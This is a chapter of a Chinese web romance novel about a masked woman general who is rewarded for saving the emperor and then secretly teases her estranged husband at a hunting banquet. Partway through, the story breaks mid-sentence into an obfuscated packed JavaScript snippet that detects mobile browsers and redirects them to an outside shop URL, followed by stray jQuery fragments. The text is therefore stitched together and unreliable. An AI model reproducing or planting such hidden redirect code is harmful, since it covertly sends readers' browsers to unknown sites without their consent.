67.暗涌
作品:《绑个戏精世子做压寨夫君》 刺客被压下去后,在场的侍卫、武将纷纷跪地,就连唐将军也连忙按住李青崖的肩膀一起跪地请罪。
李青崖那一箭虽是为了解除大虫偷袭皇帝的危机而射向他斜后方,可从在场之人看来,她将箭射向皇帝的方向,行为与谋反无异。若皇帝有任何差池,她这一举动反将她推入深渊。就算事后大家知道事出有因,她也很可能会被治个大不敬之罪。
现场鸦雀无声,尤其是负责春猎安全的一行官员。
当处理完现场安保的事,皇帝的视线终于投向了李青崖。
“平身~小李将军,你何罪之有?多亏有你射杀大虫,救了朕一命。你救驾有功,理应重重有赏。你想要什么赏赐?”皇帝当着众人的面问她。
“此乃臣之职责所在。臣无需赏赐,只愿为皇上效命,赴汤蹈火。”李青崖单膝跪地,恭敬地说。
“哈哈哈,好!好!不愧是朕衷心的臣子。救了朕不邀功,在春猎中还猎了头老虎,恐怕这次春猎中你算是拔了头筹。那就如你所愿,即日起,擢升你为‘威武将军’,更好地为朕分忧,不要让朕失望。”
“谢皇上恩典。”李青崖顶着四面八方或嫉妒或羡慕的眼光,平静无波地谢了恩。
春猎中皇帝遭遇刺杀一事,引起了极大轰动,朝臣纷纷劝说皇帝提前回宫。永嘉公主白着脸被救回来后,也加入劝阻皇帝的队伍。
先是永嘉公主被大虫袭击,吸引众人注意力,削弱营地防护。后有大虫从皇帝背后袭击,若一击不成,同时还辅以刺客刺杀。
这三件事,一环扣一环。若想成功实现计划,其中必有内应配合。
为了准备春猎,负责人早就里里外外分别检查过,还特地赶走猛兽,只留些温顺的猎物,就是怕冲撞贵人。谁料最后竟然凭空出现两只大老虎,一只袭击公主,一只偷袭皇帝,且时机抓得相当精准。能安排这一手的人,地位不低,现场也一定有人暗暗配合。
然而皇帝却不以为然,示意春猎继续,反正还有一日春猎就结束,不差这一日。
接下来的巡防更加严密,五步一个侍卫,生怕再发生变故。
李青崖自从当众成功救驾并擢升为“威武将军”后,来结识她向她示好的人多了起来。只是她戴着的獠牙面具吓人,他们也不太敢靠得太近。
又结束一波寒暄后,李青崖走到角落,让自己喘口气。
皇帝老儿老谋深算,她怀疑他是故意的。不然在骚动开始时,怎会将身边的侍卫都赶走,一个不留在身边,身边只留个年迈老臣,露出破绽给敌人,引诱敌人出手。
皇帝还未定下太子,此次永嘉公主被煽动去密林深处,保不成是个别皇子动的手脚。裴世怜和暗卫能及时救驾,也可能是早有安排的缘故。
就说权利迷人眼,牵扯进皇权斗争中没什么好事。李青崖才不在乎这次是谁搞的鬼,反正无需她操心。她只是眼睛离不开某个人的身影,心里忍不住有各种揣测。她与其在这纠结,不如上前试探一番。
不多会儿,李青崖找了个时机靠近裴世怜,裴世怜身旁有人与他交谈。
冷风拂过,一团草絮沾到裴世怜墨色长发中,像一副美人图沾染上墨点,看着碍眼。
李青崖想替他弄掉,朝裴世怜的秀发伸出手。手伸到一半,被裴世怜紧紧抓住小臂,动弹不得。
“威武将军,请自重。”裴世怜冷冷道。
李青崖呆住片刻,略有些尴尬抽回手。旁边的人先是震惊,然后一脸看好戏样子偷摸在两人脸上逡巡,似乎要瞧出他俩是否有什么奸情。
“你头发上沾了草絮,我只是想帮你弄下来。”李青崖脸上一沉,戴着面具谁也看不出她的表情。
“不必了,吾自会处理。”裴世怜顺了下长发,那团草絮掉落在地。
李青崖不想结束谈话,另起了个话题试探他:“世子妃怎么没来春猎?你们关系不好?”
裴世怜薄唇微翘,笑容不及眼底:“威武将军说笑了,吾与内子相敬如宾,她身子不适,是以没来春猎。不用威武将军操心。”
裴世怜不咸不淡的回复,让李青崖心下不忿。
以前裴世怜把她放在他身边,恨不得时时关注她的动向。这才数月未见,她不过戴了面具,他怎么就认不出她来。她离开前还让他等她,这才过多久裴世怜就忘了她,难道他后悔了,有二心了?
李青崖越想越委屈,怒火高涨。她之前虽然没彻底信任裴世怜,对他忽冷忽热。可当裴世怜真的对她冷淡,如同陌生人一般,她又受不了。
李青崖放在身侧的手握成拳,面具下的唇冷冷一笑。
自裴世怜假扮陈书生潜伏进拂云寨并曝光身份后,李青崖对他表现出来的真心总会有所怀疑,害怕他再次欺骗她,背叛她,伤害她。所以李青崖总是在犹豫,不敢正视自己的内心。
在经历过真正的战场后,她这才亲身感受到战争的残酷。前一天还勾肩搭背的兄弟,后一天可能就血染沙场。说不定某天她李青崖也是同样的下场。
到那时,未说出口的话,想见却不能见的人,未竟的愿望就真的不会再有了。
与其纠结裴世怜未来是否还会背叛她,不如将他牢牢抓在手上。裴世怜是世子殿下,她现在还是个大将军呢,谁比谁差?
裴世怜一日是她的压寨夫君,终身是她的夫君。他若敢跑,她李青崖难道不能压制住他么。她这个威武大将军可是实缺,比起世子袭承而来的爵位更有话语权。只要她够强大,就不怕裴世怜能逃得出她的掌心。
这样一想,李青崖目光坚定。
接下来的晚餐仍旧吃猎来的猎物,皇帝身边被人团团围住,其他人的座次随意,春猎中没有平日宴会那么讲究。
李青崖故意坐在裴世怜对面,席上有不少熟人,她戴着面具不方便摘下吃饭。好在面具在嘴巴处开有口,用酒樽喝酒无需摘面具。
她有一搭没一搭听其他人与裴世怜搭话,用余光瞄他的表情。
她就是要惹裴世怜生气。这两天她看够了他冷漠的样子,想撕碎他脸上的假面具,想弄脏他蹂躏他。李青崖满脑子都是裴世怜垂泪,向她求饶的样子。她觉得自己是个变态。
李青崖吞咽一口酒,桌下的腿朝对面悄然伸去,用穿着长靴的脚尖慢慢勾住裴世怜的脚踝。
裴世怜身体微震,目光朝她射来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872316|181702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
李青崖垂头喝酒,并未回看过去。裴世怜身边的人还在喋喋不休说着什么,裴世怜看了她一眼,头又转了回去。
桌下,裴世怜的腿并没有反应,估计是想看她要耍什么花招,这正中李青崖下怀。
裴世怜会不会当众掀桌?李青崖暗自期待,她将坏笑掩在面具下。
她的腿慢慢朝裴世怜的腿滑过,像条蛇般缠住他的腿,从他的小腿向上滑向他的大腿处。正当她还想再往中间踩去,被一只手坚决地捏住了脚尖。捏的力道像是在警告李青崖不要再妄动。
李青崖大喇喇向后靠着椅背,身子微微往下沉,另一只脚也踩了上去,力道不轻不重挑动,正中红心。
只见裴世怜喉头滚动,脸颊微微潮红。他看似一本正经在听旁边的老臣在说什么,实则眼神涣散,嘴唇抿紧有些红艳。
李青崖得意地品一口酒,目光牢牢锁在裴世怜脸上,他却看也不看她一眼。
而桌下裴世怜按住她的一条腿,却放任了另一条腿对他肆意亵玩,让李青崖心情大振。
此刻并未有人发现桌下的暗涌。
不多会儿,裴世怜借口离席,李青崖随后也找了个借口离开。在前往茅厕的一个黑暗角落里,裴世怜环抱双手好整以暇等着她。
“威武将军,你可真是胆大。”
“哦?我做了什么?”
“你不知?”裴世怜挑眉,脸上的红晕还未完全消退。
李青崖这两天的火气没完全散去,她进一步刺激裴世怜,在他耳边轻声喃道:“难得世子妃不在,不如你我找个地方一道快活,不会让她知道......”
李青崖静候裴世怜的反应,怕他答应,也怕他不答应。
裴世怜沉默不语,最后叹了口气,无奈道:“好玩吗?青崖。”
李青崖刹那间僵在当场,裴世怜认出了戴着丑陋獠牙面具的人是她?
见她不说话,裴世怜悄声问:“生气了?”
“你不是要隐瞒身份,不能让他人知晓么?我一直在配合你,你何故主动招惹我。被人发现了你的真实身份怎么办。”裴世怜看见她要拉开两人之间的距离,赶紧拉住她的手臂。
“我不理你你就欺负我。你可知我忍了很久,怕多看你一眼就装不下去,把你锁起来不让任何人看到你。”裴世怜舔舔虎牙,话里意味深长。
李青崖觉得自己像个跳梁小丑,咬牙切齿地说:“你故意的?”
她的手臂被紧紧攥住。
“这样你才会一直看向我,不是么。”裴世怜的脸在阴影下若隐若现。
裴世怜话里的含义让她背后一寒。
“混蛋!”李青崖轻声骂道。
“别气了好不好?许久未见,我们别浪费时间在这些小事上。你让我等你,我可是乖乖等你了好几个月。你丢下我一个人没再理我,不能让我也耍耍脾气么。”裴世怜软下声音装可怜。
李青崖轻叹一声,上前紧紧拥住裴世怜。
“我想你。”她在他怀里闷声道。
“我也是。”
熟悉的白兰香气环绕着她,李青崖紧绷了几个月的神经终于松懈下来。

